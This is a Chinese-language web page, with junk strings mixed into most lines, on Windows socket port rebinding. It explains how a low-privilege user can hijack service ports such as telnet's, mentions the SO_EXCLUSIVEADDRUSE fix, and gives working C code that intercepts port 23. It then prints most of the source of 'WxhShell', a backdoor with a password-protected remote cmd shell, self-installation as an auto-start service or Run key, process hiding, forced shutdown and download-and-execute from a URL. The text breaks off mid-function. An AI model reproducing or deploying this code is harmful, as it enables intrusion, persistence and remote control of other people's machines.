在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
E7jv s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
fCF9 3,?$ U1&m-K saddr.sin_family = AF_INET;
%F{@DN` f:BW{Cij;y saddr.sin_addr.s_addr = htonl(INADDR_ANY);
WS,p}:yPZG r\em-%: bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
rN>f"/J
| L;v#9^Fq 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
sa*hoL18 9vVYZ}HC 这意味着什么?意味着可以进行如下的攻击:
@h$7C< US
Q{o 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
k-w._E
< fM8 :Nt$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
q|Ga
>B3_P4pW9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Z/2#h<zj 6t@3
a? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Xf Y]qQP E7 7Au;TL 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
G2e m>W_n "\e9Y< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
$)PNf'5Zg h],_1!0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
X}S<MA` 6rR}qV,+{ #include
-1U]@s #include
okfhd{9 #include
gIT"nG=a4 #include
|qZ4h7wL DWORD WINAPI ClientThread(LPVOID lpParam);
Aw >DZ2 int main()
'Z;R!@Dm {
7<X_\,I WORD wVersionRequested;
kkh#VGh" DWORD ret;
*78TT\q< WSADATA wsaData;
.PF~8@1ju BOOL val;
m:K/)v* SOCKADDR_IN saddr;
A2htD!3 SOCKADDR_IN scaddr;
/pV^w int err;
O~igwFe SOCKET s;
t*n!kXa SOCKET sc;
$ABW|r int caddsize;
r1t TY? HANDLE mt;
c!6.D DWORD tid;
HbV[L)zYG wVersionRequested = MAKEWORD( 2, 2 );
k}JjSt1_A; err = WSAStartup( wVersionRequested, &wsaData );
B(E+2;!QF if ( err != 0 ) {
DQwbr\xy\ printf("error!WSAStartup failed!\n");
Xo$(zGb return -1;
esFBWJ }
?|{P]i?)' saddr.sin_family = AF_INET;
6J-tcL*4"% ~|+ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
X(N!y"z Pq !\6s@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ALPZc: saddr.sin_port = htons(23);
k`xPf\^tf if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Dy0RZF4_ {
*\-6p0~A printf("error!socket failed!\n");
joYj`K return -1;
7)<&,BWc }
NouT~K`' val = TRUE;
Sh=z //SO_REUSEADDR选项就是可以实现端口重绑定的
n{=vP`V_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~#OnA1) {
<Y<%=` printf("error!setsockopt failed!\n");
".~,(* return -1;
F d *p3a }
k${25*M!3 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
)g+~"&Gcx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
1@;Dn' //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"){"{~ P;][i| x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$,F1E VJ {
'\=aSZVO ret=GetLastError();
`BF +)fs printf("error!bind failed!\n");
~xkcQ{ return -1;
-=@d2LY }
wNq#vn listen(s,2);
g2BE-0, R while(1)
RQ!kVM@ {
9K~X}]u caddsize = sizeof(scaddr);
PA&Ev0`+ //接受连接请求
1H{JT
op sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Jf9a<[CcV if(sc!=INVALID_SOCKET)
={B%qq {
9J$N5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
lE'2\kxI? if(mt==NULL)
/*i[MB {
?s6v>#H% printf("Thread Creat Failed!\n");
?sk{(UN] break;
Y2W|b5 }
Ja"?Pb }
yxik`vmH CloseHandle(mt);
U]ynnw4 }
}&F|u0@b closesocket(s);
mA@FJK_
WSACleanup();
?^n),mR return 0;
T1_O~< }
4hz T4!15 DWORD WINAPI ClientThread(LPVOID lpParam)
P XKEqcQR {
l1l=52r SOCKET ss = (SOCKET)lpParam;
jEVDz SOCKET sc;
g1Ed:V]_ unsigned char buf[4096];
-U.>K,M SOCKADDR_IN saddr;
9sJ=Nldq long num;
j4k\5~yzS DWORD val;
gF#HNv DWORD ret;
e#!%:M;4P //如果是隐藏端口应用的话,可以在此处加一些判断
3K!(/,` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
S6Y2(qdP saddr.sin_family = AF_INET;
OD]`oJ| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
. |%n"{ saddr.sin_port = htons(23);
HCfme<' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%D1 |0v8} {
Swa0TiT( printf("error!socket failed!\n");
4Oo{\&( return -1;
z?dd5.k }
`i`+yh>pc# val = 100;
`%; Hj _X} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$>Qq 7 {
g&z8t;@ ret = GetLastError();
,4:=n$e 0 return -1;
' Dp;fEU$ }
o=J-Ju if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%
bfe_k( {
d^MRu#] ret = GetLastError();
'b)qP| return -1;
_Ne fzZWUJ }
:aQ.:b(n if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Co>e<be%S {
M8nfbc^ printf("error!socket connect failed!\n");
VKV
:U60 closesocket(sc);
f7YBhF closesocket(ss);
h4Wt
oE>i return -1;
d|?Xo\+ }
B6=?Qp/f while(1)
v%:VV*MxF {
V'hb 4}@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ZtyDip'x //如果是嗅探内容的话,可以再此处进行内容分析和记录
qG@YNc //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
-M/j&<;LW num = recv(ss,buf,4096,0);
TyDh\f!w if(num>0)
3xg9D.A send(sc,buf,num,0);
qv& Bai[ else if(num==0)
Q2/65$nW break;
/sfJ:KP0 num = recv(sc,buf,4096,0);
])}a^]0q if(num>0)
?iZ2sRWR6 send(ss,buf,num,0);
mG"xo^1_H else if(num==0)
w4(L@1 break;
FA%_jM }
E\|nP~;~F9 closesocket(ss);
_j+!Fd closesocket(sc);
a`L:E'|B9 return 0 ;
1U%
/~ }
{{jV!8wK ^M{,{bG j$K*R." ==========================================================
AbxhNNK G4uG" 下边附上一个代码,,WXhSHELL
I`zd:o] 5r`rstV ==========================================================
>`r3@|UY c/Xg ARCO #include "stdafx.h"
rtS' 90` l+[:Cni #include <stdio.h>
s$).Z(6 #include <string.h>
'IG@JL' #include <windows.h>
w
lH\w? #include <winsock2.h>
T'9ZR,{F #include <winsvc.h>
M@#T`aS #include <urlmon.h>
9.8%Iw 4qdoF_ #pragma comment (lib, "Ws2_32.lib")
XEQTT D< #pragma comment (lib, "urlmon.lib")
;-6-DEL MjU|XQS: #define MAX_USER 100 // 最大客户端连接数
V(_1q #define BUF_SOCK 200 // sock buffer
B*N1)J\5 #define KEY_BUFF 255 // 输入 buffer
y(o)}m*0 lDTHK2f #define REBOOT 0 // 重启
-QroT`gy #define SHUTDOWN 1 // 关机
,Cb3R|L8 12a`,~ #define DEF_PORT 5000 // 监听端口
yL*]_ gs5(~YiT6 #define REG_LEN 16 // 注册表键长度
,$0-I@*V #define SVC_LEN 80 // NT服务名长度
} vmRm*8z 6$6QAW0+f // 从dll定义API
;eN
^'/4A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
pZ&,YX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&'SD1m1P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
K#YQB3rX typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
.^?zdW #,%7tXOLR // wxhshell配置信息
1h&`mqY)L. struct WSCFG {
IdQ./@? int ws_port; // 监听端口
X/yq<_ g char ws_passstr[REG_LEN]; // 口令
d=/0A\O int ws_autoins; // 安装标记, 1=yes 0=no
vd{QFJ char ws_regname[REG_LEN]; // 注册表键名
9<6q(]U char ws_svcname[REG_LEN]; // 服务名
>>
zd char ws_svcdisp[SVC_LEN]; // 服务显示名
Y3Fj3NwS char ws_svcdesc[SVC_LEN]; // 服务描述信息
$iu[-my_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
N-gYamlQ int ws_downexe; // 下载执行标记, 1=yes 0=no
fbNzRXw char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!R=@Nr> char ws_filenam[SVC_LEN]; // 下载后保存的文件名
gv''A" unLhI0XW };
/'+>/ j{@6y // default Wxhshell configuration
EU$.{C_O( struct WSCFG wscfg={DEF_PORT,
Ks-$:~?5": "xuhuanlingzhe",
j,.\QwpU 1,
%up?70 "Wxhshell",
Ax;=Zh<DAv "Wxhshell",
1z?}'&: "WxhShell Service",
l4>^79* * "Wrsky Windows CmdShell Service",
m1l6QcT1 "Please Input Your Password: ",
U[@y8yN6M 1,
Dwp,d~z "
http://www.wrsky.com/wxhshell.exe",
{~3QBMx6 "Wxhshell.exe"
Nc;O)K!FH };
[d: u( 0B}4$STOo[ // 消息定义模块
i"WYcF| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*'?7OL char *msg_ws_prompt="\n\r? for help\n\r#>";
+(W1x
C0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
FJ:^pROpm char *msg_ws_ext="\n\rExit.";
w&q[%(G_ char *msg_ws_end="\n\rQuit.";
pk :P;\ char *msg_ws_boot="\n\rReboot...";
WMSJU/-P char *msg_ws_poff="\n\rShutdown...";
KJA
:; char *msg_ws_down="\n\rSave to ";
v1.3gzR g8W,Xq+ char *msg_ws_err="\n\rErr!";
kAki9a(=! char *msg_ws_ok="\n\rOK!";
D|N4X`T` G0E5Y;YIN$ char ExeFile[MAX_PATH];
Bq q=2lj int nUser = 0;
S/nPK,^d2 HANDLE handles[MAX_USER];
Zh=arlk int OsIsNt;
|'Fe?~P` 9}(w*>_L SERVICE_STATUS serviceStatus;
558P"w0"X SERVICE_STATUS_HANDLE hServiceStatusHandle;
\$ytmtf5 <$A,Ex94 // 函数声明
@^P^-B int Install(void);
CKYg!\g(: int Uninstall(void);
CM;b_E)9)f int DownloadFile(char *sURL, SOCKET wsh);
=p+y$ int Boot(int flag);
7>FXsUt_ void HideProc(void);
=<HDek int GetOsVer(void);
9R50,lsE int Wxhshell(SOCKET wsl);
S<tw5!tJ void TalkWithClient(void *cs);
:DD<0 int CmdShell(SOCKET sock);
Lo%n{*if int StartFromService(void);
WYw#mSp int StartWxhshell(LPSTR lpCmdLine);
9)Fx;GxL tt"<1
z@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Nep4J; VOID WINAPI NTServiceHandler( DWORD fdwControl );
&X=7b@r |$RNY``J // 数据结构和表定义
2KlQ[z4Ir SERVICE_TABLE_ENTRY DispatchTable[] =
x:|Y)Dn\ {
$x0SWJ \G {wscfg.ws_svcname, NTServiceMain},
IH]9%d) {NULL, NULL}
Lc*>sOm9 };
%;PpwI '7Gv_G_ // 自我安装
h051Ol\v* int Install(void)
i0vm00oT {
p/.8})c1r char svExeFile[MAX_PATH];
p4`1^}f&Ie HKEY key;
G]^[i6PQs strcpy(svExeFile,ExeFile);
w!.@64- BOs/:ZbK0W // 如果是win9x系统,修改注册表设为自启动
LG #^g6P if(!OsIsNt) {
BR,-:?z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}qNc `8h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_yg_?GH RegCloseKey(key);
^L[:DB{Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2jsbg{QS#_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=BJe)!b RegCloseKey(key);
<W4F`6`x return 0;
$v^hzC }
)t6]F6!_ }
,YYEn^:> }
p_FM 2K7! else {
~>2uRjvkwB k3~9;Z // 如果是NT以上系统,安装为系统服务
]v+<K63@T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
;_<R +w3- if (schSCManager!=0)
uO?+vYAN {
)!T~l(g SC_HANDLE schService = CreateService
ex3Qbr (
*ByHTd schSCManager,
*rxr:y#Ve wscfg.ws_svcname,
5/meH[R\M wscfg.ws_svcdisp,
HA6tGZP*L SERVICE_ALL_ACCESS,
!"<[& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
L P<A q SERVICE_AUTO_START,
_plK(g-1J% SERVICE_ERROR_NORMAL,
-d ntV= svExeFile,
O9=/\Kc NULL,
~+q1g[6 NULL,
2MkrVQQ9g NULL,
l$42MRi/ NULL,
"M I';6 NULL
'h>uR| );
|V9[aa*c if (schService!=0)
d*(aue= {
1b,a3w(:1 CloseServiceHandle(schService);
e8m,q~%#/ CloseServiceHandle(schSCManager);
H;H=8' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7T~M`$h strcat(svExeFile,wscfg.ws_svcname);
[$N_YcN? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|3H+b,M5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
I>c,Bo7 RegCloseKey(key);
k+<945kC return 0;
N8<J'7% }
)^2eC<t }
qd`e:s*% CloseServiceHandle(schSCManager);
>lI7]hbIs }
{SoI;o_> }
v4$/LUJZp 5]xuU.w' return 1;
)uPJ?
2S9 }
S-Uod y @"@a70WHk // 自我卸载
.3!Wr*o int Uninstall(void)
IqOg{#sm {
.sMs_ 5D HKEY key;
s**<=M GK b 2gng} if(!OsIsNt) {
4S_ -9&z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Xn7G2Yp RegDeleteValue(key,wscfg.ws_regname);
C2
N+X ( RegCloseKey(key);
c9(3z0!F? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]
V
D RegDeleteValue(key,wscfg.ws_regname);
+v~xgUs RegCloseKey(key);
i"{O~[ return 0;
e#Tv5O }
+pofN-*% }
>{#JIG. }
Q*ITs!~Z else {
\pmS*Dt K$E3RB_F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
b#j:)PA0C if (schSCManager!=0)
2HbnE& {
eUPa5{P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9&mSF0q if (schService!=0)
bO~y=Pa\ {
mHD_cgKN if(DeleteService(schService)!=0) {
'&>"`q CloseServiceHandle(schService);
,
X5.|9 CloseServiceHandle(schSCManager);
1.hWgW DP return 0;
aSR-.r }
`~1!nfFD CloseServiceHandle(schService);
yR}.Xq/ }
V<ESjK8 CloseServiceHandle(schSCManager);
XLh)$rZ }
b)wcGBS }
2u{~35 w)btv{* return 1;
k"wQ9=HP7 }
]5%0EE64 rd <m:r // 从指定url下载文件
sp K8^sh int DownloadFile(char *sURL, SOCKET wsh)
bcIae0LZ {
iL/c^(1 HRESULT hr;
UG| /Px ] char seps[]= "/";
SZ` 7t=I2 char *token;
]a3$hAcj6" char *file;
AFLtgoXn: char myURL[MAX_PATH];
?K1B^M=8 char myFILE[MAX_PATH];
cNll??j Vk5Z[w a strcpy(myURL,sURL);
C@M-_Ud>Q token=strtok(myURL,seps);
8%rD/b6` while(token!=NULL)
5LeZ?'"c {
*k?:k78L file=token;
E)b$;' token=strtok(NULL,seps);
R2bq hSlF }
bM W|:rn }F08o,`? GetCurrentDirectory(MAX_PATH,myFILE);
4pmeu:26 strcat(myFILE, "\\");
=lacfPS strcat(myFILE, file);
U,GSWMI/K send(wsh,myFILE,strlen(myFILE),0);
VRo&1: send(wsh,"...",3,0);
\;;M")$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
T,38Pu@r if(hr==S_OK)
kHM Jh~ return 0;
]m1fo' else
0uy'Py@2< return 1;
-@Ap;,= 5epI'D }
X><C#G 8$FH;= // 系统电源模块
n Ja!&G& int Boot(int flag)
r6<;bO( {
_[:6.oNjIe HANDLE hToken;
g)Z8WH$;H3 TOKEN_PRIVILEGES tkp;
q(sTKT[V i4D(8; if(OsIsNt) {
bpu`'Vx OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Iu'9yb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!z?
tkp.PrivilegeCount = 1;
MGdzrcF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
"M%R{pGA7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8 t+eu O if(flag==REBOOT) {
;`AB- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>a3m!`lq return 0;
>t+ ENYb }
&61U1"&$ R else {
HZrA}|:h if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
J+D|/^ return 0;
:UwBs }
KQ~y;{h?b }
oZ{,IZ45 else {
HG"ZN)~ if(flag==REBOOT) {
oXo>pl if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
fe .=Z& return 0;
c!w[)>v }
'1u?-2 else {
i?L=8+9f if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
QE 4 return 0;
g-3^</_fZ }
+'F;\E }
y_PA9#v7 cXXZ'y>FP return 1;
-"-.Z }
,fjY|ip Qt u;_ // win9x进程隐藏模块
rrIyZ@_d9 void HideProc(void)
A}fm).Wp@ {
hs6pp/h> d+n2
c`i HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
{lK2yi if ( hKernel != NULL )
<ZT
C^=3 {
nDi^s{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ED0cnr\yG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5(~Lr3v0 FreeLibrary(hKernel);
kBP?_ O }
i)l0[FNI} iXWzIb}CJ- return;
Om.%K>V }
/gAT@Vx V|Bwle // 获取操作系统版本
b'wy{~l@ int GetOsVer(void)
.0dGS {
Bzz|2/1y OSVERSIONINFO winfo;
e'b*_Ps' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
lxd{T3LU GetVersionEx(&winfo);
m.++nF if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
iEn:Hh) return 1;
!7t&d else
bQD8#Ml1 return 0;
[G 9Pb) }
wx-\@{E k26C=tlkv" // 客户端句柄模块
0 u*a=f= int Wxhshell(SOCKET wsl)
08\w!!a: {
+~n:*\ SOCKET wsh;
(]w6q&, struct sockaddr_in client;
tE%g)hL- DWORD myID;
W" =l@}I $yU
5WEX while(nUser<MAX_USER)
QC'Ru'8S {
i]n2\v AG int nSize=sizeof(client);
/? %V%
n wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I`{3I-E if(wsh==INVALID_SOCKET) return 1;
xLed];2G %P}H3;2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
%OoH<\w
w
if(handles[nUser]==0)
k A=5Kc closesocket(wsh);
kq| !{_ else
HMVP71 nUser++;
yjT>bu]
}
DN:|
s+Lz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{Q>OZm\+ 20I`F>-* return 0;
2]kGDeSr }
k"#gSCW$ 4?Y7.:x // 关闭 socket
NL]_;\ h void CloseIt(SOCKET wsh)
1 b7jNkQ {
b |:Y3_> closesocket(wsh);
"{8j!+]4i nUser--;
JuZkE9C,${ ExitThread(0);
7V%P }
-sJ1q^;f@ !aSj1
2J // 客户端请求句柄
Oj-\ void TalkWithClient(void *cs)
?Uq"zq {
pPa]@ z~O HGAi2+& SOCKET wsh=(SOCKET)cs;
s(py7{ ^K char pwd[SVC_LEN];
'goKYl#1Q char cmd[KEY_BUFF];
*=i&n> char chr[1];
<ll?rPio" int i,j;
]Ea-MeH JDf>Qg{ while (nUser < MAX_USER) {
![Qi+xyc xHt7/8wF if(wscfg.ws_passstr) {
4Q !A w if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m 3UK`~ji //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\k5"&]I3 //ZeroMemory(pwd,KEY_BUFF);
{9(0s| pr i=0;
=?$~=1SL+ while(i<SVC_LEN) {
N!ihj:, LEM%B??&5z // 设置超时
a4UwhbH fd_set FdRead;
Sm<*TH!\n_ struct timeval TimeOut;
~AjPa}@ f FD_ZERO(&FdRead);
]AQ}_dRi= FD_SET(wsh,&FdRead);
fY^CIb$Y TimeOut.tv_sec=8;
$y6 <2w%b TimeOut.tv_usec=0;
U;/2\Ii int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
QM8Ic,QFvo if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
R*vQvO%)h %|e)s_%XE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
T9R#.y, pwd
=chr[0]; H.ZF~Yuw
if(chr[0]==0xd || chr[0]==0xa) { T1qbb*
pwd=0; XB7*S*"!
break; 46]BRL2 G
} YyYZD{^
i++; 9h|6"6
} |!]
"y<
fV4rVy8
// 如果是非法用户,关闭 socket z'l
HL
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S3/%;=|
} 1J0gjO)AZ
/?r A|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <Q(E {c3"
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q>D//_TF
>SQzE
while(1) { m"rht:v5
Zb2pZhkW
ZeroMemory(cmd,KEY_BUFF); #w.0 Cc
hu$eO'M_
// 自动支持客户端 telnet标准 >%;i@"
j=0; cW>=/
while(j<KEY_BUFF) { ef^GJTv&k
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pMT7 /y-
cmd[j]=chr[0]; t@R[:n;+
if(chr[0]==0xa || chr[0]==0xd) { wxqX42v
cmd[j]=0;
~qQZh u"
break; L9O;K$[s
} ^+Nd\tp
j++; \t)va:y
} )YgntI@
3}FZg
w .
// 下载文件 F oC
$X
if(strstr(cmd,"http://")) { |;NfH|43;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); *-PjcF}Y
if(DownloadFile(cmd,wsh))
e4N d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^7\kvW
else V<#KFm$>C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xI{fd1
} n4!RGq.}
else { .iy>N/u
3v\P6
switch(cmd[0]) { %JrZMs>
}|
MX=:@*
// 帮助 <L8|Wz
case '?': { !b_(|~7Lc
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }?,YE5~
break; w r"0+J7
} <&Xl b0
// 安装 jUM'f24
case 'i': { l,hOnpm9
if(Install()) U2m#BMV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Tnid7:S
else `$Rgn3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HghdTs
break; jz_Y|"{`v
} X PyDZk/m
// 卸载 Qu[QcB{ro-
case 'r': { m[xl)/e
if(Uninstall()) jbipNgxkr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vN^.MR+<
else V3ht:>c9qs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1v|-+p42
break; VA[EY`8
} Hc'Pp{| X
// 显示 wxhshell 所在路径 m|W17LhW{
case 'p': { ]UUa/ep-
char svExeFile[MAX_PATH]; T+nID@"36
strcpy(svExeFile,"\n\r"); =tD*,2]
strcat(svExeFile,ExeFile); nfF$h}<o+
send(wsh,svExeFile,strlen(svExeFile),0); K7`6G[RMb
break; hUi@T}aA|
} DAb/B
// 重启 r|UJJ9i
case 'b': { 1l$C3c
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sR1_L/.
if(Boot(REBOOT)) 5?;<^J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7tlK'j'
else { k5E2{&wZ
closesocket(wsh); 3bWGWI
ExitThread(0); _Z]l=5d
} 0\:=KIY.
break; x7/Vf,N
} Oe;#q
// 关机 w"?Q0bhV9y
case 'd': { 86)2\uan
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~g/"p`2-N
if(Boot(SHUTDOWN)) 53{\H&q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TiI /I`A
else { l SdA7
closesocket(wsh); 8^}/T#l
ExitThread(0); E#+2)Q
} RJ@79L*#
break; ?)-6~p 4N
} Mc.{I"c@
// 获取shell =F$?`q`
case 's': { pgES)
CmdShell(wsh); O8.xt|
closesocket(wsh); 7 2JwG7qh
ExitThread(0); V?S}%-a
break; ,Suk_aX>
} Axsezr/
// 退出 jKmjZz8L]%
case 'x': { 4,LS08&gh
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `z'8"s
CloseIt(wsh); (|<S%?}J
break; Kj4BVs
} 7FoX)54"
// 离开 Y:;_R=M
case 'q': { Gw3+TvwU+Q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); `[5xncZ-
closesocket(wsh); {.$7g8]I
WSACleanup(); mv99SOe[Fz
exit(1); g@^ y$wt
break; U!q2bF<@
} #aL.E(%
} pRV.\*:c
} P^<3 Z)L
3%'`^<-V
// 提示信息 e2c'Wab
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,WWd%DF)
} .)[E`a
} 1rZ E2
KsOSPQDGE
return; Zzjx;SF
} ;)FvTm'"\.
uSR%6=$
// shell模块句柄 8<;.
int CmdShell(SOCKET sock) zK~8@{l}_"
{ 3R<r[3WP
STARTUPINFO si; 0]7jb_n1
ZeroMemory(&si,sizeof(si)); 6Sd:5eTEQ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M,JwoKyg
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }PK4
KRn
PROCESS_INFORMATION ProcessInfo; P1[.[q/-e
char cmdline[]="cmd"; DGGySO6=$e
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ivgX o'=
return 0; ;xiN<f4B
} )8oyo~4?
.t\J@?Z
// 自身启动模式 L;opQ~g
int StartFromService(void) ra*|HcLD
{ 6<W^T9}v@/
typedef struct h>!h|Ma
{ e=VSO!(rY
DWORD ExitStatus; <~uzHg%Y
DWORD PebBaseAddress; NxnRQS
DWORD AffinityMask; tZ[9qms^_
